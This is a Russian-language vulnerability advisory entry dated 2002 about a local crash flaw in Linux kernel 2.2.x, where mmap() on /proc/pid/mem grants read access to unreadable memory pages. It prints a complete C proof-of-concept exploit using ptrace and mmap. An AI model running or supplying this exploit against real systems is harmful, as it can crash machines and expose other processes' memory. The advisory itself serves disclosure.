Дата публикации: | 20.12.2002 |
Всего просмотров: | 1548 |
Опасность: | |
Наличие исправления: | |
Количество уязвимостей: | 1 |
CVE ID: | Нет данных |
Вектор эксплуатации: | |
Воздействие: | |
CWE ID: | Нет данных |
Наличие эксплоита: | Нет данных |
Уязвимые продукты: | |
Описание: | Локальная системная уязвимость аварийного отказа присутствует в Linux ядре 2.2.x. Система, вероятно, зависнет и потребуется ручная перезагрузка. Интерфейс /proc/pid/mem предназначен, чтобы разрешить одному приложению, при некоторых условиях, обратиться к памяти другого приложения. Эта особенность очень полезна для разработчиков или администраторов, которые желают отладить или анализировать программы, выполняющиеся на их системе. Один из способов обратится к памяти непосредственно, использовать mmap(). Уязвимость обнаружена в способе, которым этот процесс подтверждает правильность. Уязвимость позволяет пользователю, используя mmap() интерфейс, чтобы обратиться к страницам памяти, которые нечитаемы прослеживаемым процессом. Пользователь может передать параметр PROT_READ для этого запроса, чтобы запросить доступ для чтения к этому отображению. Из-за недостаточной проверки правильности, он получит такой доступ. Это приведет к краху системы. Эксплоит: #define PAGES 10 #include <asm/page.h> #include <sys/mman.h> #include <unistd.h> #include <stdio.h> #include <fcntl.h> #include <sys/ptrace.h> int main() { int ad1,ad2,zer,mem,pid,i; zer=open("/dev/zero",O_RDONLY); ad1=(int)mmap(0,PAGES*PAGE_SIZE,0,MAP_PRIVATE,zer,0); pid=getpid(); if (!fork()) { char p[64]; ptrace(PTRACE_ATTACH,pid,0,0); sleep(1); sprintf(p,"/proc/%d/mem",pid); mem=open(p,O_RDONLY); ad2=(int)mmap(0,PAGES*PAGE_SIZE,PROT_READ,MAP_PRIVATE,mem,ad1); write(1,(char*)ad2,PAGES*PAGE_SIZE); } sleep(100); return 0; }Уязвимость обнаружена в LiNUX Kernel 2.2.x |
Ссылки: | RAZOR advisory: Linux kernel 2.2.x /proc/pid/mem mmap() vulnerability |